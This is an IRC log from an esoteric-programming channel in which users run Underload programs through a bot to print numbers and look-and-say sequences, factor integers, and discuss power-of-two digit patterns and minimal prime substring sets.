08:02:21 <fungot> 12
08:03:12 <zzo38> It looks like works now.
08:03:12 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(:*)(:*)::**^^^!S
08:03:13 <fungot> 256
08:03:22 <oerjan> yep!
08:06:20 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)((~(, )*S^)~a*^:^):^
08:06:20 <fungot> :(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^))))))))), ...bad insn!
08:06:34 <oerjan> oh
08:06:45 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~((~(, )*S^)~a*^:^):^
08:06:46 <fungot> 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83 ...too much output!
08:07:06 <zzo38> This is very good now.
08:07:24 <zzo38> Because it is logged, now anyone can look it up.
08:07:33 <zzo38> Although maybe it would be better to add it into the wiki.
08:07:38 <oerjan> i will
08:10:19 <oerjan> ^ul (:*)::::****:*((:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^))~^!S!!!
08:10:19 <fungot> ...too much stack!
08:10:37 <oerjan> ^ul (:*):::***:*((:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^))~^!S!!!
08:10:38 <fungot> ...too much stack!
08:10:41 <oerjan> oops
08:11:18 <oerjan> ^ul (:*)::::****:*((:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^))~*^!S!!!
08:11:18 <fungot> :(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))
08:11:42 <oerjan> ^ul (:*)::::****:*((:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^))~*^^!S!!!
08:11:42 <fungot> 1024
08:11:57 <oerjan> ^ul (:*)::::****:*((:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^))~*^^!S!!!!
08:11:58 <fungot> 1024 ...out of stack!
08:12:25 <oerjan> ok now it cleans up after itself
08:12:43 <zzo38> I wrote on the Talk page, about a few thing about church numbers
08:18:50 <oerjan> ^ul (:*)::::****:*(<-- Sample numeral (1024) to be printed)!((:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^))))))))))()!:(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^))~*^^!S!!!
08:18:51 <fungot> 1024
08:21:14 -!- comex has quit (Quit: ZNC - http://znc.sourceforge.net).
08:22:06 -!- cal153 has quit (Ping timeout: 276 seconds).
08:22:45 -!- comex has joined.
08:24:09 -!- FireFly has quit (Quit: swatted to death).
08:25:01 -!- cal153 has joined.
08:26:33 -!- Sgeo_ has quit (Ping timeout: 255 seconds).
08:27:12 -!- hagb4rd has quit (Quit: hagb4rd).
08:38:20 -!- hagb4rd has joined.
08:52:45 -!- oerjan has quit (Quit: Lost terminal).
09:01:54 -!- asiekierka has quit (Ping timeout: 260 seconds).
09:04:58 -!- oerjan has joined.
09:05:44 -!- Phantom_Hoover has joined.
09:06:35 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!9(_))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
09:06:37 <fungot> 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 132113213221133112132123123112111311222112 ...out of time!
09:07:37 <Phantom_Hoover> Can you do it with 1 as the starting point?
09:07:58 <oerjan> certainly
09:08:08 <oerjan> ^ul (()~^)((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!9(_))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
09:08:09 <fungot> 1, 11, 21, 1211, 111221, 312211, 13112221, 1113213211, 31131211131221, 13211311123113112211, 11131221133112132113212221, 3113112221232112111312211312113211, 1321132132111213122112311311222113111221131221, 11131221131211131231121113112221121321132132211331222113112211, 3113112221131112311311121321123113213 ...out of time!
09:08:44 <zzo38> Why do you have 456789 they will never occur in this sequence.
09:09:13 <oerjan> zzo38: just in case someone wanted to use those in the initial condition
09:09:28 <zzo38> oerjan: OK.
09:09:35 <oerjan> ^ul ((::**::**)~^)((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!(9)(_))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
09:09:36 <fungot> 9, 19, 1119, 3119, 132119, 1113122119, 311311222119, 13211321322119, 1113122113121113222119, 31131122211311123113322119, 132113213221133112132123222119, 11131221131211132221232112111312111213322119, 31131122211311123113321112131221123113111231121123222119, 132113213221133112132123123112 ...out of time!
09:09:50 * oerjan realized there was a bug in the 9 there
09:10:15 <oerjan> it still cannot handle consecutive strings longer than 9 though
09:10:20 <zzo38> But why should you use 0456789 in the initial condition?
09:10:42 <zzo38> Or, using a initial condition that can make 456789?
09:10:56 <zzo38> It doesn't seem to do.
09:11:22 <oerjan> zzo38: well the look-and-say iteration can work for any initial condition
09:11:35 <zzo38> It is possible to prove that if you start with "1" then you can never get any digits other than 1,2,3 and that "333" cannot occur.
09:11:45 <oerjan> yes, i know
09:11:55 * oerjan has wikipedia's look-and-say page on his watchlist
09:12:16 <oerjan> and in fact i discussed it in the talk page of that
09:12:35 <oerjan> well someone's misunderstanding of it, anyway
09:12:55 <zzo38> I have seen this sequence known by many different things, but to me, it is just repeating run-length encoding.
09:13:15 <oerjan> and in fact any starting value other than 22 gives the same asymptotic growth and frequency of substrings
09:13:42 <zzo38> oerjan: Can you prove that too?
09:13:44 <oerjan> zzo38: yeah conway just spiced it up a bit with some strange terminology
09:13:53 <oerjan> zzo38: well more or less
09:14:26 <zzo38> (The two things I have mentioned the proof of, I have even proved them myself, but surely many other people have proven them a long time ago)
09:15:05 <oerjan> you need the cosmological theorem to show that it splits into atoms, and then you see that all atoms other than 22 give all the 1,2,3-containing ones eventually
09:15:34 <oerjan> and that 4 and higher can only give a vanishingly small contribution eventually
09:17:19 <oerjan> iirc the trick is to check that every string starting with 1 or 3 will eventually _always_ start with 1 or 3
09:17:25 <oerjan> (when iterated)
09:19:56 <oerjan> ^ul ((::**)~^)((((:(((((((((((_)(9))(8))(7))(6))(5))(4))(3))(2))(1))(!^))~*^^S!)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
09:19:56 <fungot> ...out of stack!
09:20:00 <oerjan> argh
09:20:53 <oerjan> oh i forgot to replace the 0
09:20:56 <zzo38> I should try to invent a simple card game for the purpose of demonstrating TeXnicard. It should be simple but still playable, designed for draft format, uses most features of TeXnicard, and able to program on computer play easily (so that a future version of TeXnicard with these features can implement that). Do you have ideas?
09:21:02 <oerjan> ^ul ((::**)~^)((((:(((((((((((_)(9))(8))(7))(6))(5))(4))(3))(2))(1))(0)(!^))~*^^S!)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
09:21:04 <fungot> 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 132113213221133112132123123112111311222112 ...out of time!
09:21:34 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!(9)(_))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
09:21:36 <fungot> 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 132113213221133112132123123112111311222112 ...out of time!
09:21:45 <oerjan> that shortened it a bit
09:23:23 <zzo38> Status of TeXnicard: Currently 140 pages (counting generated printouts for all three files belonging to the program).
09:24:24 <oerjan> ^ul ((::**)~^)(<-- Initial number as sequence of encoded digits each followed by ~^)!((((:(((((((((((_)(9))(8))(7))(6))(5))(4))(3))(2))(1))(0)(!^))~*^^S!)()!(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a()!(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)()!~a((, )S:^)**^):^
09:24:25 <fungot> 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 13211321322113311213212312311211131122211 ...out of time!
09:28:18 -!- hagb4rd has quit (Ping timeout: 240 seconds).
09:31:16 <quintopia> zzo38: 1kbwc seems the obvious choice here :P
09:33:59 <zzo38> quintopia: That doesn't seem quite right to me. It should be a new game invented for the purpose of demonstrating this project, and which uses the features of TeXnicard (so that it can demonstrate and test them).
09:34:47 <quintopia> every 1kbwc is a new game, and it can demonstrate as many features as you feel like demonstrating
09:50:56 <Ilari> Assuming digits are random (they aren't) the probability that some power of two larger than 350 000 digits doesn't contain 1, 2, 4 or 8 is approximately... 10^-77600 (or something like that)...
09:52:16 <oerjan> um i'd expect the _majority_ of digits involved to be indistinguishable from random
09:52:32 <oerjan> everything except near the beginning and end of the numbers
09:56:45 <Ilari> Calculating distribution of digits in 2^100000: 2991 zeros, 2969 ones, 3068 twos, 3075 threes, 3040 fours, 3015 fives, 2952 sixes, 3052 sevens, 2932 eights and 3009 nines.
09:57:39 <zzo38> How would you write a program in TeX to figure out how many lines are in a file?
09:59:02 <Ilari> For individual digits, the expected distribution for random numbers is 3010.3+-94.9
09:59:30 -!- zzo38 has quit (Quit: http://sprunge.us/QZfE).
09:59:45 <oerjan> so pretty much as expected then
10:01:04 <quintopia> what are you discussing?
10:01:31 <oerjan> whether 65536 is the only power of 2 not containing digits 1,2 or 8
10:02:59 <Ilari> Also 4.
10:04:25 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)(!())((~(, )*S:((^~!)~^^^~)~a*^(::)~(**)**)~a*^:^):^
10:04:26 <fungot> 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121, 144, 169, 196, 225, 256, 289, 324, 361, 400, 441, 484, 529, 576, 625, 676, 729, 784, 841, 900, 961, 1024, 1089, 1156, 1225, 1296, 1369, 1444, 1521, 1600, 1681, 1764, ...out of time!
10:04:27 <quintopia> basically, the argument being that the size of powers of two grows fast enough that the probability of not having any of those shrinks faster than the fact that it's a positive probability can compensate for?
10:04:44 <Ilari> Chi square value for digits distribution in 2^100000 w.r.t. uniform: 7.231206 (9 degrees of freedom). P > 0.10.
10:06:07 <quintopia> i'm bad at stat. what is the probability that those same digits were drawn uniformly? :P
10:08:18 <Ilari> At 2^500000 chi-square is 3.3212969 (even smaller, indicating distribution is even more like uniform)
10:10:30 <Ilari> Powers of two grow so fast that the probability of avoiding 1, 2, 4 and 8 diminshes so rapidly that the probability that it happens above given power of two goes quickly towards zero.
10:12:09 <Ilari> And there are no such numbers at most 350 000 digits long other than 65536... And avoiding those 4 seems exceedingly unlikely in such huge numbers (even if there are infinity of those).
10:13:48 <quintopia> well, we know that the odds are against it, but is there any way to prove it?
10:14:03 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~()((~:(, )*S~:((!^~)~^^)~a*^(:*)*)~a*^:^):^
10:14:04 <fungot> 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, ...out of time!
10:14:06 <Ilari> That would be difficult... :-/
10:20:04 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
10:22:27 -!- Phantom_Hoover has joined.
10:25:26 <Ilari> I figured out faster approximate method (if it detects 1, 2, 4 or 8 in the number, the number really does have 1, 2, 4 or 8. If it doesn't the number could still have them, but that's unlikely)
10:27:49 <Ilari> I estimate about 10 minutes CPU time to scan to 2^10^9... It has already used 4.
10:28:50 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~(0)(~!^)(:*)::**:::***^^~S
10:28:50 <fungot> ...bad insn!
10:29:07 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~(0)~(~!^)(:*)::**:::***^^~S
10:29:07 <fungot> ...bad insn!
10:29:11 <oerjan> argh
10:30:36 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~(0)~(~!^)(:*)::**:::***^^!S
10:30:36 <fungot> ...bad insn!
10:31:04 -!- cheater00 has quit (Ping timeout: 240 seconds).
10:31:05 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~(0)~(~!^)^!S
10:31:05 <fungot> ...bad insn!
10:31:38 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~(0)~
10:32:02 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~(0)~()^!S
10:32:02 <fungot> 0
10:32:09 -!- cheater00 has joined.
10:32:12 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~^~(0)~(~!^)^!S
10:32:12 <fungot> ...bad insn!
10:32:16 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
10:32:48 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)^!S
10:32:48 <fungot> 1
10:33:07 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(:*)::**:::***^^!S
10:33:08 <fungot> ...out of time!
10:33:53 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::**):::::*****^^!S
10:33:53 <fungot> 729
10:34:02 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::**)::::::******^^!S
10:34:04 <fungot> 2187
10:35:22 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(:::***)::::****(::**)*^^!S
10:35:24 <fungot> ...out of time!
10:35:34 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(:::***)::::****(:*)*^^!S
10:35:35 <fungot> 2048
10:36:25 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::::****)(:*)*::**(::**)*^^!S
10:36:26 <fungot> ...out of time!
10:36:31 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::::****)(:*)*::**(:*)*^^!S
10:36:32 <fungot> 2000
10:36:40 <Ilari> Done. 2^16 is the only power of two not containing 1, 2, 4 nor 8 below 2^10^9 (which is over 301M digits).
10:37:11 <quintopia> yeahhhhhh
10:37:56 <Ilari> Which also means that probability estimate got slashed by factor of ~850 to about 10^(-66.5*10^6) (66.5 million zeros)
10:40:01 -!- Phantom_Hoover has joined.
10:40:44 <Ilari> And even if there is power of two not containing one of those digits, it doesn't mean the minimal substring subset size is greater than 5, as 65536 could still be a substring.
10:41:04 -!- cheater00 has quit (Ping timeout: 240 seconds).
10:41:27 <quintopia> i don't even know what you're saying with the last line
10:42:21 -!- cheater00 has joined.
10:43:45 <oerjan> hm the substrings don't have be _consecutive_, do they. or else there is an obvious counterexample: 11, 101, 1001, 10001, ...
10:43:54 <Ilari> Nope, they don't.
10:44:23 <Ilari> What is minimal substring subset of powers of two? It is known to contain 1, 2, 4, 8 and 65536. If there is 6th element, it is known to be over 300M digits long.
10:46:50 <Ilari> The minimal substring subset of primes is known to have 26 primes (and those primes are known).
10:48:13 <Ilari> For powers of two, it known to have at least 5 (most probably exactly 5). And the first five are known.
10:50:15 <Ilari> In fact, if set is enumerable in lexicographic order and number of elements in minimal substring subset are known, then one can compute the minimal substring subset.
10:58:13 <oerjan> i recall the primes were much easier. 2, 3, 5, 7, 11, 19, 41, 61, 89, and now checking 409...
10:59:16 -!- copumpkin has quit (Ping timeout: 240 seconds).
10:59:21 <Ilari> Ah, found the list: 2, 3, 5, 7, 11, 19, 41, 61, 89, 409, 449, 499, 881, 991, 6469, 6949, 9001, 9049, 9649, 9949, 60649, 666649, 946669, 60000049, 66000049, 66600049
10:59:42 -!- copumpkin has joined.
11:00:55 * oerjan starts wondering about what it is for other bases
11:01:31 <oerjan> `factor 469
11:01:42 <oerjan> `echo hi
11:02:10 <Phantom_Hoover> oerjan, 7 and 67.
11:02:20 <HackEgo> hi
11:02:20 <HackEgo> 469: 7 67
11:02:34 <oerjan> `factor 409
11:02:35 <HackEgo> 409: 409
11:02:56 <Ilari> In base 2 it is clearly 10 and 11.
11:03:03 <oerjan> heh
11:03:14 <oerjan> `factor 449
11:03:15 <HackEgo> 449: 449
11:03:48 <oerjan> `factor 499
11:03:48 <HackEgo> 499: 499
11:04:13 <oerjan> `factor 609
11:04:14 <HackEgo> 609: 3 7 29
11:04:51 <oerjan> `factor 649
11:04:51 <HackEgo> 649: 11 59
11:05:09 <oerjan> `factor 669
11:05:09 <HackEgo> 669: 3 223
11:05:27 <oerjan> `factor 681
11:05:28 <HackEgo> 681: 3 227
11:05:49 <oerjan> oh wait that one was already excluded
11:06:07 <oerjan> `factor 699
11:06:08 <HackEgo> 699: 3 233
11:06:25 <oerjan> `factor 801
11:06:26 <HackEgo> 801: 3 3 89
11:07:01 <oerjan> `factor 881
11:07:02 <HackEgo> 881: 881
11:07:08 <quintopia> Ilari: that's the same length as the trivial 0,1
11:07:14 <quintopia> or was that a joke
11:07:22 <oerjan> quintopia: 0, 1 are not primes
11:07:27 <quintopia> oh
11:07:33 <quintopia> didn't know they had to be
11:07:42 <oerjan> i was sort of implying that
11:08:19 <quintopia> so we're discussing the shortest list of numbers with property X that are substrings of all numbers with property X
11:08:22 <oerjan> `factor 901
11:08:22 <HackEgo> 901: 17 53
11:08:33 <oerjan> yeah
11:08:54 <oerjan> `factor 909
11:08:55 <HackEgo> 909: 3 3 101
11:09:29 <oerjan> `factor 949
11:09:30 <HackEgo> 949: 13 73
11:09:43 <oerjan> `factor 969
11:09:44 <HackEgo> 969: 3 17 19
11:10:09 <quintopia> `factor 94949
11:10:10 <HackEgo> 94949: 94949
11:10:17 <oerjan> `factor 981
11:10:18 <HackEgo> 981: 3 3 109
11:10:39 <oerjan> `factor 991
11:10:40 <HackEgo> 991: 991
11:10:44 <quintopia> geez man. don't you know you're divisibility rule for 3's?
11:10:45 <oerjan> `factor 999
11:10:46 <HackEgo> 999: 3 3 3 37
11:10:48 <quintopia> *your
11:10:56 <quintopia> what are you trying to find
11:10:59 <oerjan> well yeah i'm just doing them any way
11:11:12 <oerjan> i'm just OCD'ing checking the list :D
11:11:50 <oerjan> `factor 4009
11:11:51 <HackEgo> 4009: 19 211
11:12:11 <Phantom_Hoover> How is the LAS meant to deal with strings longer than 9?
11:13:19 <quintopia> don't start with one of those numbers :P
11:13:32 <oerjan> Phantom_Hoover: you can either concatenate the representations, or treat it as a list of integers without considering base
11:13:52 <oerjan> the former depends on you working in base 10, the latter is essentially base infinity
11:14:12 <Ilari> Base-3... Contains at least 2, 10 and 111. There may be more, but at least there is a big gap after 111.
11:14:40 <oerjan> however every base >= 4 essentially behaves the same way after you've whittled down the length of the sequences
11:15:05 <oerjan> with all digits >= 4 getting separated and never interacting again
11:15:45 <quintopia> how did conway find that polynomial?
11:15:46 <oerjan> oh also 0
11:16:10 <quintopia> it's not obvious to me that repeated rle must always grow at a nearly constant rate
11:16:52 <oerjan> quintopia: it's a consequence of the splitting into atoms, where all atoms except 22 turn into all the others after a short while.
11:17:05 <quintopia> what are the atoms
11:17:23 <oerjan> that gives you a matrix, whose largest eigenvalue is the constant.
11:17:54 <quintopia> are there 71 atoms? why degree 71?
11:17:57 <oerjan> an atom is any substring such that it evolves independently of its neighbors
11:18:09 <oerjan> no, there are 92 atoms (ignoring digits >= 4)
11:18:29 <quintopia> so the matrix is 92x92
11:18:36 <quintopia> or, discarding 22
11:18:38 <quintopia> 91x91
11:18:43 <oerjan> i haven't seen how it's reduced to 71, but my guess is that the characteristic polynomial has the 71 one as a factor
11:18:47 <oerjan> yeah
11:20:11 <oerjan> i haven't read his paper, maybe he brute-forced it, or maybe there is some simplifying symmetry
11:20:56 <oerjan> well "guess", it _has_ to be, for it to work that way
11:23:58 <oerjan> `factor 4669
11:24:05 <HackEgo> 4669: 7 23 29
11:25:28 <oerjan> `factor 6009
11:25:29 <HackEgo> 6009: 3 2003
11:26:06 <oerjan> `factor 6049
11:26:06 <HackEgo> 6049: 23 263
11:26:31 <oerjan> `factor 6069
11:26:32 <HackEgo> 6069: 3 7 17 17
11:26:54 <oerjan> `factor 6099
11:26:55 <HackEgo> 6099: 3 19 107
11:27:27 <fizzie> Random bit of trivia, courtesy of Wolfram Alpha page which I had open when cleaning tabs: human brain matter has a resistivity of 611 ohm centimetres. (This might come in handy if you desperately need to make a resistor.)
11:27:37 -!- asiekierka has joined.
11:27:42 <oerjan> `factor 6469
11:27:44 <HackEgo> 6469: 6469
11:28:04 <oerjan> fizzie: I DOUBT IT
11:28:10 <oerjan> (the handy part)
11:28:16 <fizzie> oerjan: Oh? But brains, they're everywhere.
11:28:29 <fizzie> And you never leave home without one.
11:28:43 <oerjan> TRUE THAT
11:29:31 <fizzie> "Assuming "brain" is a material | Use as a radiation absorber or a word or a general material or a given name instead". No, I don't think I'll be using it as a radiation absorber.
11:29:32 <oerjan> `factor 6609
11:29:33 <HackEgo> 6609: 3 2203
11:29:55 <oerjan> _maybe_ i should start doing the 3 rule
11:30:18 <oerjan> reactor shielding
11:30:41 <oerjan> `factor 6649
11:30:43 <HackEgo> 6649: 61 109
11:31:01 <Phantom_Hoover> fizzie, how effective is it as reactor shielding?
11:31:43 <oerjan> `factor 6949
11:31:45 <HackEgo> 6949: 6949
11:33:42 -!- hagb4rd has joined.
11:34:54 <fizzie> Phantom_Hoover: Hard to say on one line, there's just some graphs that depend on the kinetic energy of the particles in question.
11:35:13 <oerjan> `factor 9001
11:35:14 <HackEgo> 9001: 9001
11:35:26 -!- ais523_ has joined.
11:35:53 <Ilari> All those 26 numbers are primes..
11:35:56 <Phantom_Hoover> fizzie, I can only get the specific heat capacity of brains from Alpha.
11:36:12 <fizzie> Phantom_Hoover: You need to use it as reactor shielding first.
11:36:18 <fizzie> It's not in the brain-as-matter entry.
11:36:37 <ais523_> hmm, something I was trying to do in my head last night: 1cnis golf
11:37:08 * oerjan notes that Alpha in that sentence could be either Wolfram or Complex, and it would fit any way
11:37:28 <oerjan> omg...
11:37:33 <fizzie> There is the Poisson's ratio and shear modulus of brains, if you want to, say, build a house out of them.
11:37:36 <oerjan> wolfram alpha _is_ the computer!
11:37:43 <ais523_> oerjan: ouch
11:37:46 <ais523_> s/computer/Computer/
11:38:05 <ais523_> also, you wonder who things of gathering that info in the first place
11:38:09 <ais523_> *thinks
11:38:13 <oerjan> yes.
11:38:18 <Phantom_Hoover> fizzie, this clearly needs to be added to Minecraft.
11:39:20 <fizzie> ais523_: It does have those "source information" links; for "brains for reactor shielding", it might be from NIST; "National Institute of Standards and Technology. 'Stopping-Power and Range Tables for Electrons, Protons, and Helium Ions.'" is listed.
